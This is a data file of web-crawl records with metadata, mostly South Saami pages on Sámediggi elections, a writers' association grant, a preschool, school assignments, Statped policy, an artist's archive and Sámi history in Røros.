lissiehtidh.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/jieleme\/jaartaburrie\/","date":"2020-12-05T11:08:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00144.warc.gz","language":"sma","language_score":0.9999625683,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999962568283081}","num_words":174,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prognovsh jïh annjebodts illedahkh saemiedigkieveeljemistie 2021 nedtesæjjan valgresultat.no iktemearan båetieh mænngan mierie nåhka skiereden 13.b. 2021 ts. 21.00.\nVeeljemisnie 2017 aktem annjebodts veeljemeilledahkem utni veeljemejijjen, jïh prognovse dej bïjre mah Saemiedigkien sijse båetieh maahta joe gaskejijjen åvtelen båetedh. Dihte minngemes ryöknedimmie sæjhta ånnetji finkesidh, jieh veanhtede unnemes akte våhkoe vaasa åvtelen veeljeme gaervies ryöknesovveme. Seamma vuekie aaj stoerredigkieveeljemisnie åtnasåvva.\nVeeljemen mænngan Saemiedigkie edtja veeljemeilledahkem jååhkesjidh jïh tjirkijh Saemiedigkien stoerretjåanghkoeståvrose, faagemoenehtsidie jïh jeatjah moenehtsidie joekedidh mejtie Saemiedigkie lea tseegkeme. Rïhpestimmie Saemiedigkien orre boelhkeste mij vaasa njieljie jaepieh, lea golken 20. b. 2021.\nGosse veeljemeilledahke lea gaervies jïh Saemiedigkien veeljememoenehtse lea luhpiehtimmide seedteme, ryöjreden elliesfaamoemoenehtse edtja abpe veeljemem gïehtjedidh. Daate moenehtse veeljesovvi minngemes stoerretjåanghkosne. Goske daate moenehtse lea luhpiehtimmide jååhkesjamme doh orre tjirkijh annjebodts juhtieh.\nGosse doh orre saemiedigkietjirkih gaavnedieh golken 20.b. dellie stoerretjåanghkoem konstituerede. Gosse tjirkijh sijjen sijjieh stoerretjåanghkoesavkesne vaeltieh, dellie sijjen veeljemegievlien mietie tjahkasjieh. Veeljemeilledahke muana gusnie fïereguhte edtja tjahkasjidh. Jïjtsh sijjieh presideentese jïh raerielïhtsegidie.\nVeeljemegievlien voestes tjirkije luhpiehtimmide buakta. Dan mænngan stoerretjåanghkoe luhpiehtimmiemoenehtsem veeljjie mij edtja minngemes jååhkesjimmiem luhpiehtimmijste darjodh. Mubpien biejjien golken 21.b. stoerretjåanghkoe vihth gaavnede jïh dellie Saemiedigkie dam minngemes jååhkesjimmiem veeljemeilledahkeste dorje, jïh aaj tjirkijijstie. Dan mænngan stoerretjåanghkoe sov barkoem aalka jïh voestegh stoerretjåanghkoen tjåanghkoeståvroem veeljie. Mænngan tjåanghkoeståvroe lea veeljesovveme, dellie dah Saemiedigkien stoerretjåanghkoem stuvrieh.\nStoerretjåanghkoe dan mænngan Saemiedigkien presideentem veeljie mij sov politihkeles bæjhkoehtimmiem åehpiedahta jïh raerielïhtsegidie nammohte. Presideente jïh raerielïhtsegh sijjen sijjieh laehpieh goh stoerretjåanghkoetjirkijh jih dej sæjjasadtjh sijjiem vaeltieh stoerretjåanghkose.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/sametinget.no\/saernieh\/ryojredimmieh-orre-saemiedigkieboelhkese.16205.aspx","date":"2021-09-25T01:09:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057584.91\/warc\/CC-MAIN-20210924231621-20210925021621-00308.warc.gz","language":"sma","language_score":0.9999933243,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999933242797852}","num_words":231,"character_repetition_ratio":0.119,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pages for logged out editors learn more\nKarlstad lea staare Värmlaante, Svöörje. Karlstad lea residensestaare ihke Väärmlaante leene jih stiftestaare ihke Karlstad stifte. Karlstad lea 18 stoere sijjie sïjse Svöörje.\nKarlstad maadthlaake 1584 mestie Karl IX. 2. snjaltje 1865 gusnie dïhte stoere dålle sïjse Karlstad. Karlstad lea beagkoes männgan 1200-taale goh Tingvalla.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/sma\/Karlstad","date":"2021-10-19T22:40:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585281.35\/warc\/CC-MAIN-20211019202148-20211019232148-00565.warc.gz","language":"sma","language_score":0.9272890091,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9272890090942383, \"sme_Latn_score\": 0.06350486725568771}","num_words":48,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":0.972,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe orre saemien tjaelijeseabranSaemiedigkieraerie lea 250 000 kråvnah dåårjeme seabran Foreninga Samiske Forfattere\/Searvi sámi girječálliide. Maja Kristine Jåma Árvu\/Saemiedigkie Vierhtieh edtjieh siebrien gïehtelæmman juhtedh. Siebrie tseegkesovvi 2019 jïh lea ræhpas gaajhkide saemien tjaeliejidie, dovne tjiehpieslidteræære jïh faagelidteræære, saaht mennie gielesne dah tjaelieh. Siebrien ulmie lea saemien tjaelijh jïh saemien lidteratuvrem eevtjedh, Saemien tjaelijesiebrie lea stoerre darjomenjieptjie åtneme eevre tseegkemen raejeste, jïh stoerre lidteræære suerkiem gaptja. – Manne vihtesjadtem tseegkeme orre tjaelijesiebreste lea gieries lissiehtassine orreme saemien tjaeliejidie, saemiedigkieraerie Maja Kristine Jåma (NSR) jeahta. Aalkoevåaroeminie ij edtjh gïehtelimmiedåarjoem vedtedh akten seabran mij Saemiedigkien vuajnoen mietie edtja dåarjoem åadtjodh latjkoerååresjimmiej tjirrh Saemiedigkien jïh saemien tjiehpiedæjjaorganisasjovni gaskem. Sjïere fåantoej gaavhtan saemiedigkieraerie 250 000 kråvnah dåårje öörnegen bijjelen Kultuvreråajvarimmie. – Manne aavone mijjieh buektiehtamme daam tsiehkien seabran Foreninga Samiske Forfattere\/Searvi sámi girječálliide loetedh, juktie hoksedh dej leah vierhtieh aelkedh, Jåma jeahta. Jis gyhtjelassh jallh gihtjehtimmie, gaskesadth saemiedigkieraeriem Maja Kristine Jåma (NSR), mob. +47 472 42 366, email@example.com ArtikkelPublisertDatoFront26.11.2021 11.24 SistEndret26.11.2021 11.30","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sametinget.no\/saernieh\/daarjoe-orre-saemien-tjaelijeseabran.17984.aspx","date":"2022-01-29T13:32:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306181.43\/warc\/CC-MAIN-20220129122405-20220129152405-00663.warc.gz","language":"sma","language_score":0.9995529652,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9995529651641846}","num_words":144,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvle Snödroppen\nAarhskuvle Snödroppen lea Fredrikesne på Viskavägen 11, skuvlen lïhke. Mijjen ræhpastïjjh 06:30 - 18:00. Mijjen aarhskuvleklaassedarjome jïh eejehtshïejme aaj darjoemisnie guktie maanah gaskem 1 – 12 jaepien båeries. Dan gaavhtan skåajje jïh maarhke mijjen lïhke mijjieh daamhtaj ålkone eatnamisnie.\nMijjieh maanaj jearsoesvoetem vaarjelibie jïh sïjhtebe darjome edtja lustes jïh learoen årrodh gosse stååkedibie jïh svihtjebe.\nMijjen aajkoe lea maanah edtjieh evtiedidh almetjidie gïeh dïedtem vaeltieh, byjresem vaarjelieh jïh solidarijen årrodh jïh jïjtjem jïh dej nuepieh jaehkieh.\nAarhskuvle jaepien 2020 steegkeldahkesne: måanta goevten 24.b., måanta ruffien 15.b. jïh bearjadahke mïetsken 14.b. Barkijh dej biejjiej mietie vuarjasjimmine berkieh jïh darjomem soejkesjieh jïh ööhpehtimmiem åadtjoeh.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/asele.se\/saepmie\/aarhskuvle-forskola\/aarhskuvle-snodroppen\/","date":"2022-01-26T11:06:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304947.93\/warc\/CC-MAIN-20220126101419-20220126131419-00229.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":96,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GIERIES GEERVEALMETJH!\nDaate vuesiehtimmien åssjele daesnie maahta stååkedidh. Viehkehth maanide doestedh vaarjoejgujmie gåårvedidh, beapmoeh jurjiehtidh dållesijjesne, doekedh prïhtjegem bovresne jïh gaajhkem jeatjah maam dah maehtieh ussjedidh. Gosse histovrijinie stååkedibie dellie skreejrebe jïh guarkebe eah gaajhkh seammalaakan jielieh, ij goh daelie jïh ij dillie. Jïh evtemes mijjieh ektesne lustestallebe.\nJïlhts stååkedimmiesijjie abpe vuesiehtimmie lea histovrijen faaktan nïlle bigkeme!\nMaanah gïeh byjresinie soptsestieh leah goh baltehkh jallh svihtjeme-guvvine Harry Potterinie. Dah leah gïejh byjresistie gubpede båetieh. Goltelh dejtie, dah dej jielemi bïjre soptsestieh!\nNOLAVONDAN MOJNESJIMMIEH JÏH NOLLEHTIMMIEH\nFïerhtene tjïehtjelisnie lea jaepietaallem tjïekedamme såemies sijjesne. Moenh jaepietaallem jïh diedtesth dam plïehtjese. Plïehtjen sifferh leah Nolavondijen. Jis datne reaktoe jaepietaallem diedtesth åadtjoeh naan dejstie nolavonderi bokstaavijste dej alfabeetesne. Jis datne dejtie tjaalah jïh gaavnh gaajhkh jaepietaallh dov leah nolavonderi alfabeete jïh maahtah ussjedidh mah dah leah kontejneri nelnie tjaaleme.\nTjïehtjelinie aaj Mojnesjimmie-voessetjh (mojnesjimmigujmie), vaarjoeh, dåahka Kim, skaehtiekaarhte, guvvietjoevtenje, smaarehtjïerteaeskie jïh mah akt luste.\nHeelsegh\nBaltehke-intendeente","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/gieries-geervealmetjh","date":"2022-05-29T01:16:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00110.warc.gz","language":"sma","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000011920928955}","num_words":151,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAS bekrefter overfor NTB at de er villige til å sende tomme fly, samt å gjøre det som må til for å få de strandede turister hjem.\n– Ideelt sett skulle vi sett at det var unntak for hele charterbransjen, slik som det har vært tidligere, og som vi også har foreslått, sier pressesjef Tonje Sund i SAS til NTB.\nDet var tidligere onsdag at pilotforeningene i SAS Pilot Group opplyste at de hadde foreslått overfor SAS å gjøre unntak fra streiken for å hente hjem strandede utenlandsreisende. (NTB)\nBoris Johnson lea riejries goh partijeåejvie jïh staateministere. Dam Johnson ålkolen staateministeren gåetie daenbiejjien jeehti.\nDah leah aalkeme orre partijeåejviem gaavnedidh. Johnson edtja staateministere årroeji vuestie dah akte orre paartijeåejvie gaevnieh.\n– Læjhkan jis ij numhtie daelie våjnoes, dah båetije biejjieh tjuavkadabpa, Johnson jeehti.\nÖvteben hïeljen FA Sápmin nïejte- jïh baerniejuelkietjengkeretjïerte Piteå Summer Games-gaahtjemem vitni.\nDaelie soptsestieh sijjieh saemievæssjoehtimmiem dååjrin jïh birresovvin bååstede Saapman feeredh.\nPiteå Summer Games lea juelkietjengkeregaahtjeme Sveerjesne.\nNjealjehtsgalhkuvisnie FA Sápmi Altatjïerten vööste Bossekop (BUL) spealadin. Daennie gæmhposne dah lin dïjrem åådtjeme bååstede Saapman feeredh.\n– Fuarran saemie, feerede amma bååstede Saepmien gåajkoe, lin lahtestimmieh Endren mietie.\nBUL:en åejviesaavrehtæjja, Paul Olsen, soptseste satne ij leah vuajneme jallh govleme naan tjïertediblemem, men ij maehtieh nyöjhkedh daate lea deahpadamme.\nÅnnetji mænngan Olsen NRK:ine soptsesti, maahta soptsestidh BUL jïh FA Sápmi heannadimmien bïjre soptsesteminie daelie.\nGosse NRK birrie Piteå Summer Games-gaahtjemen gïehtelimmieåvtehkem, Anna Bogren Dalberg, heannadimmide lahtestidh, dïhte aadtjen dej bïjre govleme.\n– Ijje, mijjieh idtijmh dan bïjre daejrieh, gaatesjen. Easkah gosse e-påastem Avvireste åadtjoejimh dellie aajhtsimh mij heannadamme.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.nrk.no\/sapmi\/24-958-ada-viesada-li-koronas-baddum-1.15823586","date":"2022-07-07T16:37:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104495692.77\/warc\/CC-MAIN-20220707154329-20220707184329-00125.warc.gz","language":"sma","language_score":0.9965558648,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9965558648109436}","num_words":254,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïejvesh retorihkeste maehtieh nuhteligs årrodh juktie teeksth buerebe guarkedh. Retorihke aaj maahta viehkine årrodh gosse edtjh håaledh jallh tjaeledh jïh aaj nuhteligs gosse edtjh analyseradidh jallh toelhkestidh maam jeatjebh tjaaleme jallh jeahteme.\nFïerhten biejjien datne gyhtjelassh åadtjoeh mah krievieh datne tjoerh dov vuajnoem tjïelkestidh. Dellie tjoerh dov vuajnoem jeatjabidie buerkiestidh. Datne tjoerh buerkiestidh man åvteste dov lea reaktoe jallh man åvteste datne ussjedh guktie darjoeh.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ndla.no\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:181662\/topic:2:182394\/","date":"2022-08-18T00:40:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573145.32\/warc\/CC-MAIN-20220818003501-20220818033501-00061.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":65,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh tjaalegasse Mojhtese-håaleme maam Tom Sottinen höölti mojhtese-mïerhkesjimmesne ovlæhkoen sjïekenisnie Dunderland-daelesne.\n1. laavenjasse\nLohkh mojhtese-håalemem. Mah vuekieh tjaelije\/håaloje nuhtjeme juktie dåastojem tsevtsedh? Gaavnh vuesiehtimmieh.\n2. laavenjasse\nOhtsedh vielie bïevnesh ovlæhkoen bïjre Gaske-viermesne. Tjaelieh bievnije tjaalegem ovlæhkoen bïjre.\n3. laavenjasse\nGuktie datne vïenhth Dunderland-daelien ovlæhkoe lea åarjel-saemien siebriedahkem tsavtseme. Tjaelieh ussjedihks tjaalegem dan bïjre.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ndla.no\/nb\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:181662\/topic:2:182394\/resource:835c15dd-732f-4a29-b4d0-922fa217ae86","date":"2022-08-11T11:14:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571284.54\/warc\/CC-MAIN-20220811103305-20220811133305-00205.warc.gz","language":"sma","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999957084655762}","num_words":50,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Statped – akte bielie lïerehtimmiesuerkeste\nStatped edtja dåarjoem vedtedh tjïeltide jïh fylhkentjïeltide dej barkosne maanajgujmie, noerigujmie jïh geerve almetjigujmie sjïere lïerehtimmiedaerpiesvoetigujmie. Naemhtie Statped akte bielie lïerehtimmiesuerkeste.\nDïhte orre etaate edtja aktem orre dïenesjeprofijlem tseegkedh. Edtja Statpedem damtijidh aktine sjïerepedagogeles profijline, jïh tjïelke dïenesjigujmie. Edtja barkoem viedtedh maanagïertelaakese jïh ööhpehtimmielaakese.\nGosse jienebefaageles dajvh tseegkesuvvieh, dle utnijh edtjieh seamma nuepieh dïenesjh åadtjodh. Utnijh mah dam daarpesjieh, edtjieh aktem gamte jienebefaageles perspektijvem dååjredh. Goske gaajhkh dajvh leah jienebefaageles byjresh tseegkeme, Statped tjuara åtnoem faagealmetjijstie iktedidh dej sjïerepedagogeles faagesuerkiej sisnjeli, dajvi dåaresth. Naemhtie utnieh edtjieh dååjredh dah gorresuvvieh, jïh reaktoe dïenesjem åadtjoeh dan varke gåarede.\nStatped edtja vielie goh aarebi hoksedh dïhte indivijdebaseradamme barkoe lea dïhte våarome maahtoebigkemasse skuvline, maanagïertine jïh PP-dïenesjisnie. Statped edtja dan åvteste tjïeltem\/fylhkentjïeltem viehkiehtidh dam daerpies maahtoem bæjjese bigkedh. Dellie daerpies aktine aktelaaketje systeemine, juktie maahtoem dåarjoehtidh tjïeltide jïh fylhkentjïeltide.\nStatped edtja orre nasjovnaale ruvtijnh tseegkedh juktie ohtsemh jïh barkoeh gïetedidh. Tjïelth jïh fylhkentjïelth leah joekehts, jïh ovmessie daerpiesvoeth utnieh. Statped edtja daajroem utnedh tjïelti jïh fylhkentjïelti bïjre dejnie ovmessie dajvine, jïh edtja latjkoeh darjodh mah laavenjostoem gorredieh, mah leah sjïehtedamme tjïelti jïh fylhkentjïelti daerpiesvoetide.\nJienebefaagelesvoete\nDïejvese jienebefaagelesvoete joekehtslaakan åtnasåvva jïh guarkeme sjædta ovmessie ektiedimmine.\nBïevnese St. 18 daam goerkesem våaroemasse beaja:\nJienebefaagelesvoete lea akte aktanimmie daejstie\n- bijjiemaahtoe dejnie ovmessie aerpievuekien faagesuerkine\n- laavenjostoemaahtoe\n- gamte systeememaahtoe\n- ovmessie barkoedåehkieh seamma gïehteldimmesne, dåaresthfaageles laavenjostoe faage-aerpievuekiej dåaresth\n- laavenjostoe jeatjah staateles dïenesjigujmie\nSide 6 av 10","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisktjeneste-sead\/sead\/statped--akte-bielie-lierehtimmiesuerkeste\/statpeden-ulmieguvvie-2012-2016\/statped--akte-bielie-lierehtimmiesuerkeste\/#5.1","date":"2022-10-04T15:46:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337516.13\/warc\/CC-MAIN-20221004152839-20221004182839-00678.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":227,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuartesjh åenehks-filmem Hilbes biigá, lohkh faaktah filmen bïjre, jïh tjaelieh ållermaehtemem.\nTjoerh filmem vuejnedh eannan laavenjasside darjoeh.\n1. laavenjasse\nLohkh faaktah filmen bïjre. Ohtsedh filmem Gaske-viermesne jïh lohkh filmen bïjre.\n2. laavenjasse\nTjaelieh ållermaehtemem filmen bïjre akten plaaran. Ållermaehteme edtja bïhkedimmiem vuartasjæjjide årrodh gïeh funterdieh mejtie edtjieh filmem vuejnedh. Jis edtjh buerie filme-ållermaehtemem tjaeledh mujhtieh daejtie tsiehkide meatan utnedh..\n- filmen nomme\n- gie\/gïeh filmem dorjeme\n- buerkesth sjangerem jïh teemam\n- vuarjesjh soptsestimmie-vuekiem jïh viehkie-vierhtieh\n- jeatjah filmh gååvnesieh mah mahte seammalaakan?","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ndla.no\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178143","date":"2022-11-30T23:18:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710777.20\/warc\/CC-MAIN-20221130225142-20221201015142-00018.warc.gz","language":"sma","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000091791152954}","num_words":76,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Latest news\n02 December 2021\nHome\nDaennie gærjatjisnie teeksth bæjhkoehtibie mejtie maanah jïh\nnoerh tjaaleme Saemien lohkemejarngen tjaelemegaahtjemisnie\nČállot! Tjállup! Tjaelebe! 2020. 29 noerhtesaemien teeksth, 4 julevsaemien\nteeksth jïh 4 åarjelsaemien teeksth lin meatan gaahtjemisnie.\nDaesnie naan dejstie teekstijste bæjhkoehtibie mejtie noerh\ngaskedalteste jåarhkeskuvlese tjaaleme.\nSaemien lohkemejarnge gaajhkide maanide jïh noeride gæjhta mah\nteeksth tjaaleme jïh meatan orreme gaahtjemisnie. Mijjieh aaj\nlohkehtæjjide jïh eejhtegidie gijhtebe mah viehkiehtamme jïh\nmaanide noeride skreejreme meatan årrodh gaahtjemisnie!\nMijjieh gegkiestibie daah teeksth edtjieh gaajhkesidie skreejredh\nvielie lohkedh jïh tjaeledh!\nDongkedh daestie e-påastine:","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/lohkanguovddas.no\/sma\/callot-tjallup-tjaelebe","date":"2022-12-09T11:48:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711396.19\/warc\/CC-MAIN-20221209112528-20221209142528-00613.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":82,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Orre koronadaalhkese båata\nGoeven 8. biejjien orre daalhkese Nöörjese båata mij edtja viehkiehtidh dah mah maehtieh alvas skïemtjine koronaste sjïdtedh, healsoedirektoraate tjaala. Daalhkesen nomme lea «Paxlovid», jïh lea jeenjemasth båeries almetjh mah viehkiem daalhkeste åadtjoeh.\n– Ulmie daalhkesinie lea viehkiehtidh olles almetjh alvas skïemtjine sjïdth, bene aaj tsiehkiem buerebe darjodh healsoesuarkan, mubpie healsoedirektööre Espen Rostrup Nakstad jeahta.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.nrk.no\/sapmi\/orre-koronadaalhkese-baata-1.16205168","date":"2023-01-27T17:05:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764495001.99\/warc\/CC-MAIN-20230127164242-20230127194242-00167.warc.gz","language":"sma","language_score":0.999992609,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999926090240479}","num_words":55,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(r.1982)\nTjiehpiedæjja\nCarola Grahn, reakasovvi 1982, sjïdteme-aejkesne lij Jåhkåmåhkke:sne (Jokkmokk) jïh åvte-voeresh åtna Tjiehtelen (Kittelfjäll) jïh Ångermanlaandten dajvijste. Dïhte Malmö:sne daelie årroeminie.\nCarola lea tjiehpiedæjja åarjelsaemien dajveste. Satne ööhpehtimmieh åtna Gånkaladtje Tjeahpoejolleskuvle-, Beckman:en Designejolleskuvle- dovne Guvvieskuvleste Gamleby:sne. Altese barkoeh leah muvhten aejkien vuesiehtimmesne orreme IAIA Museum Of Contemporary Native Arts (MoCNA) Santa Fe:sne, Leonard & Bina Ellen Art Gallery Montreal:sne, Southbank Centre London:isnie, Office of Contemporary Art Oslovisnie, Tjeahpoesavka Trondheim jïh Guvviemuseume Ubmejisnie.\nDïhte tematiske- jïh soejkesjemaadth-vuekiej mietie barka, gellien aejkien stoerre prosjeektine, eeremes materialiseringe teekstijste, installasjovnh jïh skulpturaala medijumh. Gellien aejkien leah Carolan barkoeh baajnehtamme komplexe soejkesjijstie identiteeti bïjre jïh maadoste. Gellien aejkien satne lutnjeme meadtoe-dahkoeh saemide ovmessieh aejkijste. Barkojde vuesehtieh dåeriesmoerh gåessie vuartasjæjjah gyhtjelassh jïh jiehtieh åadtjoeh dåastoehtidh. Altese barkoeh gaskesidie rïhpestieh seamma aejkien ov-goh soptsesten slaajine leah jïh konceptuelle tjeahpoedajvine juhtieh.\nJaepien 2020 dle Carolan aajnevuesiehtimmiem vuesiehtimmesne \"lij Have Scrutinized Every Stone:sne and Log\" Rööpses Gierkie Tjeahpoesavkesne Göteborg:sne. Dïhte Asmund jïh Lizzie Arles hammoedæjjavadtesem 2021 åadtjoji jïh tjaaleme lea saemien tjeahpoen bïjre Afterall Magazine:se, redaktööre orreme Hjärnstorms teemanummer:asse Sápmi bïjre jïh jijtjepublicereme romanem Lo & Professorn. Carola aaj kuratereme Sven-Harrys:en Tjeahpoemuseumasse Stuehkesne jïh Hïejespïelesne Noerhte Nöörjesne.\nVåarhkosne leah materijaalh ovmessie tjeahpoeprosjeektijste, konceepth jïh ektiebarkoeh. Objeekth leah meatan mah leah tjatneme prosjeektide \"Sami Girl Gang\" jïh \"Saemien sirrie\", dovne arkivalijh goh plaeriebietskedimmieh, gærjah jïh vuesiehtimmiekatalogh. Våarhkosne aaj guvvievuesiehtimmiem jaepeste 2005, eannan Carola ööhpehtimmiem skååffi, mejtie gellieh stillemh dan bïjre leah tjatneme\n[AJTTE]\nIj maehtieh Carolan våarhkoem digitaaline jaksedh, ihke altese materijaalh vuejnedh maahta Ájtte, Sveerjen vaerie- jïh saemiemuseumem gaskesadtedh","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/kansallisarkisto.fi\/aida\/sa\/duojar-arkiivvat\/namma-g\/grahn-carola-arkiiva","date":"2023-01-28T09:21:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499541.63\/warc\/CC-MAIN-20230128090359-20230128120359-00014.warc.gz","language":"sma","language_score":0.9999068975,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999068975448608}","num_words":245,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåetieluhpie Plaassjesne\nGellie båatsoesaemieh meehtin håaltoem utnedh guhkede bïerjestaareste. Muvhten aejkien tjoerin læjhkan Plaassjesne mïnnedh åestedh, earenem darjodh advokaaten jallh lientsien luvnie, gærhkosne mïnnedh gyrhkesjimmesne jallh jeatjah dahkoeh gærhkosne. Maarhna lij aaj akte nuepie bïerjestaaresne mïnnedh. Gosse saemieh earenem Plaassjesne utnin idtjin iktesth maehtieh bååstede vuelkedh seamma biejjien. Dan gaavhtan daarpesjin jïjjedidh. Jeenjesh sån gåetieluhpiem åadtjoejin åahpetji luvnie bïerjestaaresne, jïh dellie fuelhkieh maaje vihties gaertenh utnin gusnie jïjjedin.\nJohannes Müller (1767-1828), guhte lij skåajjeinspektööre jïh materijellereerije Rørosen Kåahperevierhkesne, jïh åesiestæjja Christian A. Lorck (1753-1828) Tråantesne ligan dejstie mah sujhtemebovtsh saemiefuelhkiej krievvine utnigan 1800-låhkoen aalkoelisnie. Prievesne Lorckese Müller tjeeli dah tjoerin saemide hijvenlaakan faegniedidh gosse lin bïerjestaaresne. Mejtie faegniedimmie aaj lij gåetieluhpie, dam ibie daejrieh, men Lorck tuhtji lij vihkeles hijvenlaakan båatsoesaemide faegniedidh gosse lin Plaassjesne.\nLij aaj sïejhme saemieh gåetieluhpiem utnin dejnie ovmessie feelemegaertieninie bïerjestaaresne. 